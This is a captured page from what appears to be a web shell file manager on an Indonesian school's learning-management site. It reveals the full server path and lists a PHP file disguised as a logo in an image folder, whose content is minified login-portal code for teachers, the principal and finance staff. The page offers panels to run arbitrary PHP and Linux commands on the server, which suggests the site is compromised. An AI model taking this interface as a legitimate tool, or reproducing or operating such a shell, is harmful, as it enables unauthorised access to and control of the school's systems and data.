๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
import{r as d,j as e}from"./react-vendor-Cdu9POhR.js";import{t as j,d as v}from"./index-g-CJvtxD.js";import{q as N,w as y,e as w,f as S,h as C}from"./firebase-vendor-Cr1os6Vr.js";import{L}from"./router-vendor-EW88JuZe.js";import"./pdf-vendor-BoEiDn9A.js";const P=[{id:"guru_piket_shared",fallbackName:"Portal Guru Piket"},{id:"pic_5s_shared",fallbackName:"Portal PIC 5S"}],q=({onLogin:i})=>{const[c,h]=d.useState(""),[u,m]=d.useState(!1),[x,s]=d.useState(null),k=async r=>{var p;r.preventDefault();const l=c.trim();if(l){m(!0),s(null);try{const o=N(j,y("code","==",l)),b=await w(o);if(!b.empty){const a=b.docs[0];i({id:a.id,...a.data(),portalType:"teacher_regular"});return}for(const a of P){const f=S(v,"portal_accounts",a.id),n=await C(f);if(!n.exists())continue;const t=n.data(),g=((p=t.code)==null?void 0:p.trim().toLowerCase())===l.toLowerCase();if(t.enabled!==!1&&g&&t.portalType===a.id){i({id:n.id,name:t.name||a.fallbackName,code:t.code,subjects:[],portalType:a.id});return}}s("Kode akses tidak ditemukan.")}catch(o){console.error(o),s("Terjadi kesalahan koneksi.")}finally{m(!1)}}};return e.jsx("div",{className:"max-w-md mx-auto mt-12 animate-fade-in",children:e.jsxs("div",{className:"bg-white p-8 rounded-[2.5rem] shadow-2xl border border-gray-100",children:[e.jsxs("div",{className:"text-center mb-10",children:[e.jsxs("div",{className:"relative inline-block",children:[e.jsx("div",{className:"absolute inset-0 bg-blue-100 blur-xl rounded-full opacity-50"}),e.jsx("img",{src:"/logo.png",alt:"Logo",className:"h-20 w-auto mx-auto mb-4 relative z-10"})]}),e.jsx("h1",{className:"text-3xl font-black text-slate-800 tracking-tight",children:"Portal Guru, Kepala Sekolah & Keuangan"}),e.jsx("p",{className:"text-slate-400 text-sm font-medium mt-1",children:"Masukkan kode akses untuk masuk ke dashboard guru, kepala sekolah, keuangan, piket, atau PIC 5S."})]}),e.jsxs("form",{onSubmit:k,className:"space-y-6",children:[e.jsxs("div",{className:"space-y-2",children:[e.jsx("label",{className:"text-[10px] font-black text-slate-400 uppercase tracking-[0.2em] ml-2",children:"Kode Akses"}),e.jsx("input",{type:"text",value:c,onChange:r=>h(r.target.value),placeholder:"Masukkan kode",className:"w-full px-6 py-5 rounded-2xl bg-slate-50 border-none ring-2 ring-slate-100 focus:ring-blue-500 transition-all text-center text-2xl tracking-widest font-black text-blue-600 placeholder:text-slate-200",required:!0,autoFocus:!0})]}),x&&e.jsx("div",{className:"p-4 bg-red-50 text-red-600 text-xs rounded-2xl text-center font-bold animate-fade-in border border-red-100",children:x}),e.jsx("button",{type:"submit",disabled:u,className:"w-full bg-slate-900 text-white font-black py-5 rounded-2xl shadow-xl hover:bg-blue-600 transition-all active:scale-95 disabled:opacity-50",children:u?"MEMVALIDASI...":"MASUK SEKARANG"})]}),e.jsx("div",{className:"mt-8 p-4 rounded-2xl bg-blue-50 border border-blue-100 text-xs text-blue-700 font-bold leading-relaxed",children:"Gunakan form yang sama untuk guru mapel, kepala sekolah, keuangan, portal shared guru piket, dan portal PIC 5S. Sistem akan mengarahkan otomatis ke dashboard yang sesuai."}),e.jsx("div",{className:"mt-12 pt-8 border-t border-slate-50 text-center",children:e.jsxs(L,{to:"/admin-selaras",className:"inline-flex items-center space-x-2 text-slate-400 hover:text-blue-600 transition-colors text-xs font-bold",children:[e.jsx("svg",{className:"w-4 h-4",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",children:e.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"2",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),e.jsx("span",{children:" "})]})})]})})};export{q as default};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD